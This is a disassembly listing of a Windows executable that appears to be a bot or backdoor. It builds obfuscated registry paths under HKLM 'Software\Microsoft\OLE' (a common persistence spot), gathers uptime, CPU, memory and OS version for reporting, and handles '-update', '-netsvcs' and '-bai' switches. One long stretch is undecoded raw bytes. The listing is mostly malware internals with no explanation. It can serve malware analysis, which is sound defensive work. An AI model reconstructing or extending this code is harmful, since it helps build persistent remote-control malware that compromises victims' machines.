		lea	edx, [esp+178h+var_8C]
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	[esp+178h+var_168], 0
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		lea	edi, [esp+178h+var_8C]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	esi, dword_50F75C
		mov	edi, ecx
		lea	ecx, [esp+178h+var_168]
		push	ecx
		push	20019h
		push	eax
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	80000002h
		call	esi
		push	0
		push	27h
		push	29h
		push	1Dh
		push	1Eh
		push	5
		push	0Ch
		push	2
		push	1
		push	0Eh
		lea	edx, [esp+1B4h+var_178]
		push	1Fh
		push	edx
		call	sub_4019B5
		add	esp, 30h
		lea	ecx, [esp+18Ch+var_A0]
		push	edi
		push	ecx
		push	1
		push	0
		mov	ecx, eax
		mov	[esp+19Ch+var_18], 1Fh
		call	sub_4017E4
		mov	edx, [esp+19Ch+var_17C]
		push	eax
		push	edx
		nop
		call	near ptr 2970000h
		lea	ecx, [esp+1A4h+var_190]
		mov	[esp+1A4h+var_30], 1Dh
		call	sub_401226
		mov	eax, [esp+1A4h+var_194]
		mov	edi, dword_50F738
		push	eax
		call	edi
		lea	ecx, [esp+1A8h+var_198]
		push	ecx
		push	0F003Fh
		push	0
		lea	ecx, [esp+1B4h+var_130]
		call	sub_4017E4
		push	eax
		push	80000002h
		call	esi
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	5
		push	14h
		push	1
		push	13h
		lea	edx, [esp+1E0h+var_1A8]
		push	2Dh
		push	edx
		call	sub_4019B5
		add	esp, 2Ch
		mov	ecx, eax
		mov	[esp+1BCh+var_48], 20h
		call	sub_4017E4
		mov	ebp, dword_50F764
		push	eax
		mov	eax, [esp+1C0h+var_1AC]
		push	eax
		call	ebp
		lea	ecx, [esp+1C4h+var_1B0]
		mov	[esp+1C4h+var_50], 1Dh
		call	sub_401226
		mov	ecx, [esp+1C4h+var_1B4]
		push	ecx
		call	edi
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	48h
		push	0Eh
		push	15h
		push	12h
		lea	edx, [esp+1ECh+var_1B4]
		push	9
		push	edx
		call	sub_4019B5
		add	esp, 2Ch
		mov	ecx, eax
		mov	[esp+1C8h+var_54], 21h
		call	sub_4017E4
		push	eax
		call	sub_4015FA
sub_404C70	endp

; ---------------------------------------------------------------------------
		db 83h
		dd 4C8D04C4h, 84C61424h, 17424h, 0FE81D00h, 8DFFFFB7h
		dd 0E844244Ch, 0FFFFB904h, 46822B3h, 68000001h,	104h, 4C244C8Dh
		dd 7C249C88h, 0E8000001h, 0FFFFC121h, 0BDE89050h, 6A0242A4h
		dd 6A056A00h, 6A056A18h, 6A486A4Eh, 6A156A0Eh, 24448D12h
		dd 50096A38h, 0FFBE54E8h, 2CC483FFh, 84C6C88Bh,	17424h
		dd 71E82300h, 50FFFFBCh, 48244C8Dh, 0FFBC67E8h,	4C8D50FFh
		dd 84684C24h, 51004436h, 0FFB4A0E8h, 10C483FFh,	14244C8Dh
		dd 74249C88h, 0E8000001h, 0FFFFB686h, 44244C8Dh, 0FFBAD8E8h
		dd 0E89050FFh, 241AD9Fh, 1024548Dh, 78244C8Dh, 3F6852h
		dd 6A000Fh, 0FFBC1FE8h,	26850FFh, 0FF800000h, 6A006AD6h
		dd 6A186A05h, 6A4E6A05h, 6A146A05h, 24448D01h, 50126A34h
		dd 0FFBDCCE8h, 28C483FFh, 84C6C88Bh, 17424h, 0E9E82400h
		dd 8BFFFFBBh, 5010244Ch, 8DD5FF51h, 8814244Ch, 174249Ch
		dd 13E80000h, 8BFFFFB6h, 52102454h, 6AD7FFh, 186A056Ah
		dd 4E6A056Ah, 0E6A486Ah, 496A486Ah, 456A126Ah, 448D456Ah
		dd 96A4424h, 0BD77E850h, 0C483FFFFh, 0C6C88B38h, 1742484h
		dd 0E8250000h, 0FFFFBB94h, 0B9A4E850h, 0C483FFFFh, 244C8D04h
		dd 249C8814h, 174h, 0FFB5BDE8h,	10468FFh, 4680000h, 8D000001h
		dd 0E84C244Ch, 0FFFFBFE1h, 7DE89050h, 6A0242A3h, 6A056A00h
		dd 6A056A18h, 6A486A4Eh, 6A486A0Eh, 6A126A49h, 8D456A45h
		dd 6A44244Ch, 0EE85109h, 83FFFFBDh, 0C88B38C4h,	742484C6h
		dd 26000001h, 0FFBB2BE8h, 4C8D50FFh, 21E84824h,	50FFFFBBh
		dd 4C24548Dh, 44368468h, 5AE85200h, 83FFFFB3h, 4C8D10C4h
		dd 9C881424h, 17424h, 0B540E800h, 4C8DFFFFh, 92E84424h
		dd 50FFFFB9h, 0AC59E890h, 448D0241h, 4C8D1024h,	68507824h
		dd 0F003Fh, 0D9E8006Ah,	50FFFFBAh, 268h, 6AD6FF80h, 6A056A00h
		dd 6A056A18h, 6A056A4Eh, 6A016A14h, 244C8D13h, 51136A38h
		dd 0FFBC84E8h, 2CC483FFh, 84C6C88Bh, 17424h, 0A1E82700h
		dd 8BFFFFBAh, 50102454h, 8DD5FF52h, 8814244Ch, 174249Ch
		dd 0CBE80000h, 8BFFFFB4h, 50102444h, 6AD7FFh, 186A056Ah
		dd 4E6A056Ah, 196A136Ah, 0E6A136Ah, 4C8D096Ah, 176A3C24h
		dd 0BC33E851h, 0C483FFFFh, 0C6C88B30h, 1742484h, 0E8280000h
		dd 0FFFFBA50h, 0B860E850h, 0C483FFFFh, 244C8D04h, 249C8814h
		dd 174h, 0FFB479E8h, 10468FFh, 4680000h, 8D000001h, 0E84C244Ch
		dd 0FFFFBE9Dh, 0A23AE850h, 6A900242h, 6A056A00h, 6A056A18h
		dd 6A136A4Eh, 6A136A19h, 8D096A0Eh, 6A3C2454h, 0CEE85217h
		dd 83FFFFBBh, 0C88B30C4h, 742484C6h, 29000001h,	0FFB9EBE8h
		dd 4C8D50FFh, 0E1E84824h, 50FFFFB9h, 4C24448Dh,	44368468h
		dd 1AE85000h, 83FFFFB2h, 4C8D10C4h, 9C881424h, 17424h
		dd 0B400E800h, 4C8DFFFFh, 52E84424h, 50FFFFB8h,	0AB19E890h
		dd 4C8D0241h, 68511024h, 0F003Fh, 8C8D006Ah, 8424h, 0B996E800h
		dd 6850FFFFh, 80000002h, 6AD6FFh, 186A056Ah, 4E6A056Ah
		dd 146A056Ah, 46A016Ah,	156A106Ah, 476A046Ah, 4824548Dh
		dd 0E852046Ah, 0FFFFBB39h, 8B3CC483h, 2484C6C8h, 174h
		dd 0B956E82Ah, 8B50FFFFh, 50142444h, 4C8DD5FFh,	9C881424h
		dd 17424h, 0B380E800h, 4C8BFFFFh, 0FF511024h, 6A006AD7h
		dd 6A186A05h, 6A4E6A05h, 6A0C6A05h, 6A016A07h, 8D026A05h
		dd 6A402454h, 0E6E85202h, 83FFFFBAh, 0C88B34C4h, 742484C6h
		dd 2B000001h, 0FFB903E8h, 13E850FFh, 83FFFFB7h,	4C8D04C4h
		dd 9C881424h, 17424h, 0B32CE800h, 468FFFFh, 68000001h
		dd 104h, 4C244C8Dh, 0FFBD50E8h,	0E89050FFh, 242A0ECh, 56A006Ah
		dd 56A186Ah, 56A4E6Ah, 76A0C6Ah, 56A016Ah, 448D026Ah, 26A4024h
		dd 0BA7FE850h, 0C483FFFFh, 0C6C88B34h, 1742484h, 0E82C0000h
		dd 0FFFFB89Ch, 244C8D50h, 0B892E848h, 8D50FFFFh, 684C244Ch
		dd 443684h, 0B0CBE851h,	0C483FFFFh, 244C8D10h, 249C8814h
		dd 174h, 0FFB2B1E8h, 244C8DFFh,	0B703E844h, 0E850FFFFh
		dd 241A9CBh, 24548D90h,	244C8D10h, 3F685278h, 6A000F00h
		dd 0B84AE800h, 6850FFFFh, 80000002h, 6AD6FFh, 0F6A0E6Ah
		dd 0B6A276Ah, 16A136Ah,	3024448Dh, 0E8502E6Ah, 0FFFFB9F9h
		dd 8B24C483h, 2484C6C8h, 174h, 0B816E82Dh, 4C8BFFFFh, 51501024h
		dd 4C8DD5FFh, 9C881424h, 17424h, 0B240E800h, 548BFFFFh
		dd 0FF521024h, 6A006AD7h, 6A186A05h, 6A4E6A05h,	6A0F6A0Eh
		dd 6A0B6A0Dh, 8D016A13h, 6A402444h, 0A6E85014h,	83FFFFB9h
		dd 0C88B34C4h, 742484C6h, 2E000001h, 0FFB7C3E8h, 0D3E850FFh
		dd 83FFFFB5h, 4C8D04C4h, 9C881424h, 17424h, 0B1ECE800h
		dd 468FFFFh, 68000001h,	104h, 4C244C8Dh, 0FFBC10E8h, 0E89050FFh
		dd 2429FACh, 56A006Ah, 56A186Ah, 0E6A4E6Ah, 0D6A0F6Ah
		dd 136A0B6Ah, 4C8D016Ah, 146A4024h, 0B93FE851h,	0C483FFFFh
		dd 0C6C88B34h, 1742484h, 0E82F0000h, 0FFFFB75Ch, 244C8D50h
		dd 0B752E848h, 6850FFFFh, 443684h, 5024548Dh, 0AF8BE852h
		dd 0C483FFFFh, 244C8D10h, 249C8814h, 174h, 0FFB171E8h
		dd 244C8DFFh, 0B5C3E844h, 0E850FFFFh, 241A88Bh,	24448D90h
		dd 244C8D10h, 3F685078h, 6A000F00h, 0B70AE800h,	6850FFFFh
		dd 80000002h, 6AD6FFh, 56A126Ah, 0F6A126Ah, 106A0C6Ah
		dd 8C8D186Ah, 0B024h, 511F6A00h, 0FFB8B4E8h, 28C483FFh
		dd 84C6C88Bh, 17424h, 0D1E83000h, 8BFFFFB6h, 50102454h
		dd 8DD5FF52h, 90248Ch, 9C880000h, 17424h, 0B0F8E800h, 448BFFFFh
		dd 0FF501024h, 4358BD7h, 680050FBh, 443668h, 4C68D6FFh
		dd 0FF004436h, 362C68D6h, 0D6FF0044h, 44360868h, 83D6FF00h
		dd 4C8D10C4h, 84C64424h, 17424h, 0BBE81D00h, 8DFFFFB0h
		dd 0C778244Ch, 1742484h, 0FFFF0000h, 0A7E8FFFFh, 0B0FFFFB0h
		dd 0F4E9E901h, 9090FFFFh, 2 dup(90909090h), 154h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_4066E0	proc near		; CODE XREF: sub_40194Cj

var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_4066E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	ebp
		push	esi
		xor	ebx, ebx
		push	edi
		lea	ecx, [esp+38h+var_24]
		mov	[esp+38h+var_28], ebx
		call	sub_401424
		mov	esi, [esp+38h+arg_4]
		mov	ebp, 1
		cmp	esi, ebx
		mov	[esp+38h+var_4], ebp
		jnz	short loc_406731
		mov	esi, [esp+38h+arg_0]
		push	ebx
		mov	ecx, esi
		call	sub_4020F4
		mov	[esp+38h+var_28], ebp
		jmp	loc_4067D7
; ---------------------------------------------------------------------------


loc_406731:				; CODE XREF: sub_4066E0+3Aj
		nop
		call	near ptr 2820861h
		mov	ecx, eax
		mov	eax, 10624DD3h
		mul	ecx
		mov	ecx, edx
		mov	eax, 0C22E4507h
		shr	ecx, 6
		imul	ecx
		add	edx, ecx
		sar	edx, 10h
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	edi, edx
		cmp	edi, esi
		jl	short loc_4067C3
		mov	eax, ecx
		mov	ecx, 15180h
		cdq
		idiv	ecx
		mov	esi, 0E10h
		mov	ecx, edx
		mov	eax, ecx
		cdq
		idiv	esi
		mov	eax, 88888889h
		mov	esi, edx
		imul	esi
		add	edx, esi
		sar	edx, 5
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	eax, 91A2B3C5h
		push	edx
		imul	ecx
		add	edx, ecx
		sar	edx, 0Bh
		mov	ecx, edx
		shr	ecx, 1Fh
		add	edx, ecx
		push	edx
		push	edi
		lea	edx, [esp+44h+var_24]
		push	offset aUpDdDhDm ; "up:	%dd %dh	%dm"
		push	edx
		call	sub_40102D
		mov	esi, [esp+4Ch+arg_0]
		add	esp, 14h
		lea	eax, [esp+38h+var_24]
		mov	ecx, esi
		push	eax
		call	sub_4014C9
		jmp	short loc_4067D3
; ---------------------------------------------------------------------------


loc_4067C3:				; CODE XREF: sub_4066E0+7Cj
		mov	esi, [esp+38h+arg_0]
		push	offset byte_446F20
		mov	ecx, esi
		call	sub_401861


loc_4067D3:				; CODE XREF: sub_4066E0+E1j
		mov	[esp+38h+var_28], ebp


loc_4067D7:				; CODE XREF: sub_4066E0+4Cj
		lea	ecx, [esp+38h+var_24]
		mov	byte ptr [esp+38h+var_4], bl
		call	sub_401226
		mov	ecx, [esp+38h+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 28h
		retn	8
sub_4066E0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_406850:				; CODE XREF: ___:00401668j
		push	ecx
		push	esi
		mov	esi, [esp+0Ch]
		push	offset byte_446F20
		mov	ecx, esi
		mov	dword ptr [esp+8], 0
		call	sub_401861
		mov	eax, esi
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_406890	proc near		; CODE XREF: sub_401F3Cj

var_198		= dword	ptr -198h
var_194		= dword	ptr -194h
var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_174		= byte ptr -174h
var_164		= byte ptr -164h
var_14C		= byte ptr -14Ch
var_144		= dword	ptr -144h
var_140		= dword	ptr -140h
var_12C		= dword	ptr -12Ch
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_406890
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18Ch
		push	ebp
		push	esi
		push	edi
		lea	ecx, [esp+1A4h+var_18C]
		mov	[esp+1A4h+var_198], 0
		call	sub_401424
		mov	[esp+1A4h+var_4], 1
		nop
		call	near ptr 2820861h
		mov	ecx, eax
		mov	eax, 10624DD3h
		mul	ecx
		mov	esi, edx
		lea	edx, [esp+1A4h+var_14C]
		push	edx
		mov	[esp+1A8h+var_190], 10h
		shr	esi, 6
		mov	[esp+1A8h+var_194], 15h
		call	near ptr 2860000h
		nop
		lea	eax, [esp+1A4h+var_12C]
		mov	[esp+1A4h+var_12C], 94h
		push	eax
		nop
		call	near ptr 2850000h
		mov	eax, [esp+1A4h+var_128]
		cmp	eax, 4
		jnz	short loc_40695E
		mov	eax, [esp+1A4h+var_124]
		test	eax, eax
		jnz	short loc_406946
		mov	eax, [esp+1A4h+var_11C]
		cmp	eax, 1
		jnz	short loc_406936
		mov	ebp, offset a95	; "95"
		jmp	loc_4069D1
; ---------------------------------------------------------------------------


loc_406936:				; CODE XREF: sub_406890+9Aj
		cmp	eax, 2
		jnz	loc_4069CD
		mov	ebp, offset aNt	; "NT"
		jmp	short loc_40699A
; ---------------------------------------------------------------------------


loc_406946:				; CODE XREF: sub_406890+8Ej
		cmp	eax, 0Ah
		jnz	short loc_406952
		mov	ebp, offset a98	; "98"
		jmp	short loc_406990
; ---------------------------------------------------------------------------


loc_406952:				; CODE XREF: sub_406890+B9j
		cmp	eax, 5Ah
		jnz	short loc_40698B
		mov	ebp, offset aMe	; "ME"
		jmp	short loc_406990
; ---------------------------------------------------------------------------


loc_40695E:				; CODE XREF: sub_406890+83j
		cmp	eax, 5
		jnz	short loc_40698B
		mov	eax, [esp+1A4h+var_124]
		test	eax, eax
		jnz	short loc_406975
		mov	ebp, offset a2000 ; "2000"
		jmp	short loc_406990
; ---------------------------------------------------------------------------


loc_406975:				; CODE XREF: sub_406890+DCj
		cmp	eax, 1
		jnz	short loc_406981
		mov	ebp, offset aXp	; "XP"
		jmp	short loc_406990
; ---------------------------------------------------------------------------


loc_406981:				; CODE XREF: sub_406890+E8j
		cmp	eax, 2
		mov	ebp, offset a2003 ; "2003"
		jz	short loc_406990


loc_40698B:				; CODE XREF: sub_406890+C5j
					; sub_406890+D1j
		mov	ebp, offset a??? ; "???"


loc_406990:				; CODE XREF: sub_406890+C0j
					; sub_406890+CCj ...
		cmp	[esp+1A4h+var_11C], 2
		jnz	short loc_4069D1


loc_40699A:				; CODE XREF: sub_406890+B4j
		mov	al, [esp+1A4h+var_118]
		test	al, al
		jz	short loc_4069D1
		lea	ecx, [esp+1A4h+var_118]
		lea	edx, [esp+1A4h+var_98]
		push	ecx
		push	ebp
		push	offset aSS_2	; "%s [%s]"
		push	edx
		nop
		call	sub_63125E
		add	esp, 10h
		lea	ebp, [esp+1A4h+var_98]
		jmp	short loc_4069D1
; ---------------------------------------------------------------------------


loc_4069CD:				; CODE XREF: sub_406890+A9j
		mov	ebp, [esp+1A4h+var_198]


loc_4069D1:				; CODE XREF: sub_406890+A1j
					; sub_406890+108j ...
		lea	eax, [esp+1A4h+var_190]
		lea	ecx, [esp+1A4h+var_174]
		push	eax
		push	ecx
		call	near ptr 2841075h
		nop
		lea	edx, [esp+1A4h+var_194]
		lea	eax, [esp+1A4h+var_164]
		push	edx
		push	eax
		nop
		call	near ptr 2960000h
		mov	eax, esi
		mov	ecx, 15180h
		cdq
		idiv	ecx
		lea	eax, [esp+1A4h+var_174]
		mov	edi, 0E10h
		mov	ecx, edx
		lea	edx, [esp+1A4h+var_164]
		push	edx
		push	eax
		mov	eax, ecx
		cdq
		idiv	edi
		mov	eax, 88888889h
		mov	edi, edx
		imul	edi
		add	edx, edi
		sar	edx, 5
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	eax, 91A2B3C5h
		push	edx
		imul	ecx
		add	edx, ecx
		mov	eax, 0C22E4507h
		sar	edx, 0Bh
		mov	ecx, edx
		shr	ecx, 1Fh
		add	edx, ecx
		mov	ecx, [esp+1B0h+var_120]
		push	edx
		imul	esi
		add	edx, esi
		sar	edx, 10h
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	eax, [esp+1B4h+var_128]
		push	edx
		mov	edx, [esp+1B8h+var_124]
		push	ecx
		mov	ecx, [esp+1BCh+var_144]
		push	edx
		push	eax
		mov	eax, 804021h
		push	ebp
		mul	ecx
		sub	ecx, edx
		mov	eax, 804021h
		shr	ecx, 1
		add	ecx, edx
		shr	ecx, 13h
		push	ecx
		mov	ecx, [esp+1CCh+var_140]
		mul	ecx
		sub	ecx, edx
		shr	ecx, 1
		add	ecx, edx
		shr	ecx, 13h
		push	ecx
		call	sub_4017F3
		push	eax
		lea	ecx, [esp+1D4h+var_18C]
		push	offset aCpuDmhz_Memory ; "CPU: %dMHz. Memory: %dMB/%dMB. OS: Win "...
		push	ecx
		call	sub_40102D
		mov	esi, [esp+1DCh+arg_0]
		add	esp, 38h
		lea	edx, [esp+1A4h+var_18C]
		push	edx
		mov	ecx, esi
		call	sub_4014C9
		mov	[esp+1A4h+var_198], 1
		lea	ecx, [esp+1A4h+var_18C]
		mov	byte ptr [esp+1A4h+var_4], 0
		call	sub_401226
		mov	ecx, [esp+1A4h+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 198h
		retn	4
sub_406890	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_406BA0	proc near		; CODE XREF: sub_4015DCj
		mov	eax, ecx
		mov	dword ptr [eax], offset	off_43E008
		mov	dword ptr [eax+110h], 0
		retn
sub_406BA0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_406BD0:				; CODE XREF: ___:00401F8Cj
		push	esi
		mov	esi, ecx
		call	sub_40143D
		test	byte ptr [esp+8], 1
		jz	short loc_406BE8
		push	esi
		call	sub_436872
; ---------------------------------------------------------------------------
		add	esp, 4


loc_406BE8:				; CODE XREF: ___:00406BDDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_406C00	proc near		; CODE XREF: sub_40143Dj
		mov	dword ptr [ecx], offset	off_43E008
		mov	ecx, [ecx+110h]
		test	ecx, ecx
		jz	short locret_406C17
		push	ecx
		call	sub_436872
; ---------------------------------------------------------------------------
		pop	ecx

locret_406C17:				; CODE XREF: sub_406C00+Ej
		retn
sub_406C00	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_406C30	proc near		; CODE XREF: sub_401384j

var_454		= byte ptr -454h
var_43C		= byte ptr -43Ch
var_424		= byte ptr -424h
var_40C		= dword	ptr -40Ch
var_408		= byte ptr -408h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_406C30
		push	eax
		mov	large fs:0, esp
		sub	esp, 448h
		push	ebx
		mov	ebx, ecx
		mov	eax, [ebx+110h]
		test	eax, eax
		jz	short loc_406C61
		push	eax
		call	sub_436872
; ---------------------------------------------------------------------------
		add	esp, 4


loc_406C61:				; CODE XREF: sub_406C30+26j
		push	ebp
		push	esi
		mov	esi, [esp+460h+arg_0]
		push	edi
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		push	ecx
		call	sub_43688A
; ---------------------------------------------------------------------------
		mov	edx, eax
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	[ebx+110h], edx
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	edi, [ebx+110h]
		or	ecx, 0FFFFFFFFh
		mov	byte ptr [ebx+4], 0
		mov	dword ptr [ebx+5], 0
		mov	byte ptr [ebx+9], 0
		mov	byte ptr [ebx+0Ah], 0
		mov	byte ptr [ebx+0Bh], 0
		repne scasb
		not	ecx
		push	ecx
		call	sub_43688A
; ---------------------------------------------------------------------------
		mov	edi, [ebx+110h]
		mov	edx, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	ebp, dword_50FAF4
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		push	offset asc_443600 ; " "
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		push	edx
		and	ecx, 3
		rep movsb
		call	ebp	; strtok
		add	esp, 10h
		mov	[esp+464h+var_40C], eax
		lea	esi, [esp+464h+var_408]
		mov	edi, 0FFh


loc_406D12:				; CODE XREF: sub_406C30+F4j
		push	offset asc_443600 ; " "
		push	0
		call	ebp	; strtok
		mov	[esi], eax
		add	esp, 8
		add	esi, 4
		dec	edi
		jnz	short loc_406D12
		mov	eax, [esp+464h+var_40C]
		xor	ecx, ecx
		cmp	eax, ecx
		jz	loc_406F18
		lea	ebp, [esp+464h+var_40C]


loc_406D38:				; CODE XREF: sub_406C30+2E0j
		mov	edi, [ebp+0]
		mov	esi, offset dword_4437EC
		mov	eax, edi


loc_406D42:				; CODE XREF: sub_406C30+130j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_406D66
		test	cl, cl
		jz	short loc_406D62
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_406D66
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_406D42


loc_406D62:				; CODE XREF: sub_406C30+11Cj
		xor	eax, eax
		jmp	short loc_406D6B
; ---------------------------------------------------------------------------


loc_406D66:				; CODE XREF: sub_406C30+118j
					; sub_406C30+126j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_406D6B:				; CODE XREF: sub_406C30+134j
		test	eax, eax
		jz	loc_406F08
		mov	esi, offset aUpdate ; "-update"
		mov	eax, edi


loc_406D7A:				; CODE XREF: sub_406C30+168j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_406D9E
		test	cl, cl
		jz	short loc_406D9A
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_406D9E
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_406D7A


loc_406D9A:				; CODE XREF: sub_406C30+154j
		xor	eax, eax
		jmp	short loc_406DA3
; ---------------------------------------------------------------------------


loc_406D9E:				; CODE XREF: sub_406C30+150j
					; sub_406C30+15Ej
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_406DA3:				; CODE XREF: sub_406C30+16Cj
		test	eax, eax
		jnz	short loc_406DB0
		mov	byte ptr [ebx+9], 1
		jmp	loc_406F08
; ---------------------------------------------------------------------------


loc_406DB0:				; CODE XREF: sub_406C30+175j
		mov	esi, offset aNetsvcs ; "-netsvcs"
		mov	eax, edi


loc_406DB7:				; CODE XREF: sub_406C30+1A5j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_406DDB
		test	cl, cl
		jz	short loc_406DD7
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_406DDB
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_406DB7


loc_406DD7:				; CODE XREF: sub_406C30+191j
		xor	eax, eax
		jmp	short loc_406DE0
; ---------------------------------------------------------------------------


loc_406DDB:				; CODE XREF: sub_406C30+18Dj
					; sub_406C30+19Bj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_406DE0:				; CODE XREF: sub_406C30+1A9j
		test	eax, eax
		jnz	short loc_406DED
		mov	byte ptr [ebx+0Ah], 1
		jmp	loc_406F08
; ---------------------------------------------------------------------------


loc_406DED:				; CODE XREF: sub_406C30+1B2j
		mov	esi, offset aBai_0 ; "-bai"
		mov	eax, edi


loc_406DF4:				; CODE XREF: sub_406C30+1E2j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_406E18
		test	cl, cl
		jz	short loc_406E14
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_406E18
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_406DF4


loc_406E14:				; CODE XREF: sub_406C30+1CEj
		xor	eax, eax
		jmp	short loc_406E1D
; ---------------------------------------------------------------------------


loc_406E18:				; CODE XREF: sub_406C30+1CAj
					; sub_406C30+1D8j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_406E1D:				; CODE XREF: sub_406C30+1E6j
		test	eax, eax
		jnz	loc_406F08
		lea	ecx, [esp+464h+var_454]
		call	sub_401424
		mov	eax, [esp+464h+arg_0]
		push	offset aBai_0	; "-bai"
		push	eax
		mov	[esp+46Ch+var_4], 0
		nop
		call	near ptr 77C47C60h
		add	esp, 8
		test	eax, eax
		jz	loc_406EF4
		push	eax
		lea	ecx, [esp+468h+var_454]
		call	sub_4015D7
		push	1
		push	offset asc_443600 ; " "
		lea	ecx, [esp+46Ch+var_43C]
		push	1
		push	ecx
		lea	ecx, [esp+474h+var_454]
		call	sub_4011EA
		push	offset byte_446F20
		mov	ecx, eax
		mov	byte ptr [esp+468h+var_4], 1
		call	sub_4012EE
		lea	ecx, [esp+464h+var_43C]
		mov	esi, eax
		mov	byte ptr [esp+464h+var_4], 0
		call	sub_401226
		test	esi, esi
		jz	short loc_406EF4
		push	1
		push	offset asc_443600 ; " "
		lea	edx, [esp+46Ch+var_424]
		push	1
		push	edx
		lea	ecx, [esp+474h+var_454]
		mov	byte ptr [ebx+0Bh], 1
		call	sub_4011EA
		push	104h
		mov	ecx, eax
		mov	byte ptr [esp+468h+var_4], 2
		call	sub_401681
		push	eax
		lea	eax, [ebx+0Ch]
		push	eax
		call	near ptr 77C47A90h
		nop
		add	esp, 0Ch
		lea	ecx, [esp+464h+var_424]
		mov	byte ptr [esp+464h+var_4], 0
		call	sub_401226
		add	ebp, 4


loc_406EF4:				; CODE XREF: sub_406C30+221j
					; sub_406C30+271j
		lea	ecx, [esp+464h+var_454]
		mov	[esp+464h+var_4], 0FFFFFFFFh
		call	sub_401226


loc_406F08:				; CODE XREF: sub_406C30+13Dj
					; sub_406C30+17Bj ...
		mov	eax, [ebp+4]
		add	ebp, 4
		test	eax, eax
		jnz	loc_406D38
		xor	ecx, ecx


loc_406F18:				; CODE XREF: sub_406C30+FEj
		mov	al, [ebx+4]
		pop	edi
		pop	esi
		pop	ebp
		test	al, al
		jnz	short loc_406F25
		mov	[ebx+5], ecx


loc_406F25:				; CODE XREF: sub_406C30+2F0j
		cmp	[ebx+5], ecx
		jnz	short loc_406F35
		test	al, al
		jz	short loc_406F35
		mov	dword ptr [ebx+5], 0Ah


loc_406F35:				; CODE XREF: sub_406C30+2F8j
					; sub_406C30+2FCj
		mov	[ebx+5], ecx
		mov	ecx, [esp+458h+var_C]
		mov	byte ptr [ebx+4], 0
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 454h
		retn	4
sub_406C30	endp

